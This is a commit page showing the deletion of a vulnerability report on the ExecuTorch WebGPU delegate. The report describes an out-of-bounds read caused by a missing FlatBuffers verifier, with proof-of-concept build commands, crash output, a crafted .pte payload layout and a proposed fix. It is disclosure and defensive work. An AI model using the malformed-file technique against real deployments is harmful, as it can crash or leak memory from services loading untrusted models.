KEEBWZRD commited on
Commit
6153340
·
verified ·
1 Parent(s): 2ece280

Delete runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md

Browse files
runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md DELETED
@@ -1,200 +0,0 @@
1
- # ExecuTorch WebGPU Delegate — Runtime Crash Report
2
- **Date:** 2026-07-14
3
- **Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`
4
- **Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`
5
- **Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 — WebGPU missed it
6
-
7
- ---
8
-
9
- ## What this proves
10
-
11
- A live runtime harness that exercises the exact vulnerable code path:
12
-
13
- 1. `WebGPUBackend.cpp:75` — only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
14
- 2. `WebGPUGraph.cpp:378` — `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
15
- 3. `WebGPUGraph.cpp:537-538` — `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
16
- 4. `WebGPUGraph.cpp:732-733` — `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` — **OOB read**
17
-
18
- The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**
19
-
20
- ---
21
-
22
- ## Files
23
-
24
- | File | Purpose |
25
- |------|---------|
26
- | `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
27
- | `malformed_webgpu.pte` | The crafted payload |
28
- | `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
29
- | `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |
30
-
31
- ---
32
-
33
- ## Build & Run
34
-
35
- ```bash
36
- # Generate the malformed .pte
37
- python3 craft_malformed_webgpu_pte.py
38
-
39
- # Build (macOS/Linux, clang required)
40
- clang++ -std=c++17 -g \
41
- -fsanitize=undefined \
42
- -I~/executorch_vuln/third-party/flatbuffers/include \
43
- -I. \
44
- runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
45
-
46
- ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
47
- ```
48
-
49
- ---
50
-
51
- ## Crash Output (confirmed, 2026-07-14)
52
-
53
- > Note: UBSan alignment errors appear interleaved with PoC trace lines — both are caused by
54
- > the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
55
- > unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
56
- > the primary OOB exploit primitive. Both are eliminated by the same two-line fix.
57
-
58
- ```
59
- ==========================================================
60
- ExecuTorch WebGPU Delegate Runtime PoC
61
- CVE class : CWE-787 (Out-of-bounds Write)
62
- Source : backends/webgpu/runtime/WebGPUGraph.cpp
63
- Root cause : GetVkGraph() called without flatbuffers::Verifier
64
- Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13
65
- ==========================================================
66
-
67
- [+] Loaded .pte: 396 bytes, identifier ET12
68
- [+] WebGPU delegate payload: 238 bytes
69
- [+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64
70
-
71
- [PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)
72
- [PoC] VkGraphBufferHasIdentifier: true
73
- [PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier
74
- [UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
75
- [PoC] GetVkGraph returned: 0x1061bdf62
76
-
77
- [PoC] Entering WebGPUGraph::build() constant-source mapping
78
- [PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp
79
-
80
- [UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
81
- [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
82
- [PoC] graph->values()->size() = 1
83
- [PoC] graph->constants()->size() = 1
84
- [PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
85
- [PoC] WebGPUGraph.cpp:516: constant_id=0
86
- [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
87
- [PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
88
- [PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
89
- [PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
90
- [PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
91
- [PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff (NO bounds check vs constant_data size)
92
- [PoC] constant_data section is 64 bytes — offset 0xffffffffffff is WAY past it
93
-
94
- [PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
95
- [PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
96
- [PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
97
- [PoC] constant_data_ + cs.inline_offset, cs.nbytes)
98
- [PoC] constant_data_ = 0x1061bdfde
99
- [PoC] cs.inline_offset = 0xffffffffffff
100
- [PoC] cs.nbytes = 16
101
- [PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***
102
-
103
- [PoC] Executing OOB pointer arithmetic now...
104
- [PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)
105
-
106
- UndefinedBehaviorSanitizer:DEADLYSIGNAL
107
- ==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
108
- #0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
109
- #1 0x00019abafbe8 (<unknown module>)
110
- SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
111
- ==11877==ABORTING
112
- EXIT CODE: 134
113
- ```
114
-
115
- ---
116
-
117
- ## What the crash proves
118
-
119
- The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
120
- ```cpp
121
- volatile uint8_t byte = *oob_ptr; // oob_ptr = constant_data + 0xffffffffffff
122
- ```
123
-
124
- This mirrors `WebGPUGraph.cpp:733`:
125
- ```cpp
126
- wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
127
- // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
128
- ```
129
-
130
- `wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.
131
-
132
- ---
133
-
134
- ## Payload anatomy
135
-
136
- ```
137
- ExecuTorch Program (ET12, 396 bytes)
138
- └─ ExecutionPlan "forward"
139
- └─ BackendDelegate id="webgpu"
140
- └─ WebGPU delegate payload (238 bytes)
141
- ├─ VH00 header (30 bytes)
142
- │ ├─ flatbuffer_offset = 30
143
- │ ├─ flatbuffer_size = 144
144
- │ ├─ bytes_offset = 174
145
- │ └─ bytes_size = 64
146
- ├─ VkGraph FlatBuffer (VK00, 144 bytes)
147
- │ ├─ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
148
- │ └─ constants[0]: VkBytes(offset=0xffffffffffff) ← attacker-controlled OOB offset
149
- └─ constant_data: 64 bytes of 0xAA ← tiny; OOB is 281 TB past end
150
- ```
151
-
152
- ---
153
-
154
- ## Comparison: what Vulkan has that WebGPU is missing
155
-
156
- **Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
157
- ```cpp
158
- flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
159
- ET_CHECK_OR_RETURN_ERROR(
160
- vkgraph::VerifyVkGraphBuffer(verifier),
161
- DelegateInvalidCompatibility,
162
- "VkGraph FlatBuffer verification failed");
163
- const auto* graph = vkgraph::GetVkGraph(flatbuffer_data); // safe: verifier ran
164
- ```
165
-
166
- **WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
167
- ```cpp
168
- // WebGPUBackend.cpp:75 — 4-byte check only:
169
- if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
170
- // ... then graph->build(flatbuffer_data, ...) is called at line 102 ...
171
-
172
- // WebGPUGraph.cpp:378 — NO Verifier before this:
173
- const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
174
- ```
175
-
176
- Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` — zero new code to write.
177
-
178
- ---
179
-
180
- ## Fix
181
-
182
- ```cpp
183
- // Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
184
- flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
185
- ET_CHECK_OR_RETURN_ERROR(
186
- vkgraph::VerifyVkGraphBuffer(verifier),
187
- DelegateInvalidCompatibility,
188
- "WebGPU VkGraph FlatBuffer verification failed");
189
- ```
190
-
191
- Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
192
- ```cpp
193
- if (vk_bytes->offset() != UINT64_MAX) {
194
- if (vk_bytes->offset() > hdr_bytes_size ||
195
- vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
196
- throw std::runtime_error("WebGPU: inline_offset OOB");
197
- }
198
- cs.inline_offset = vk_bytes->offset();
199
- }
200
- ```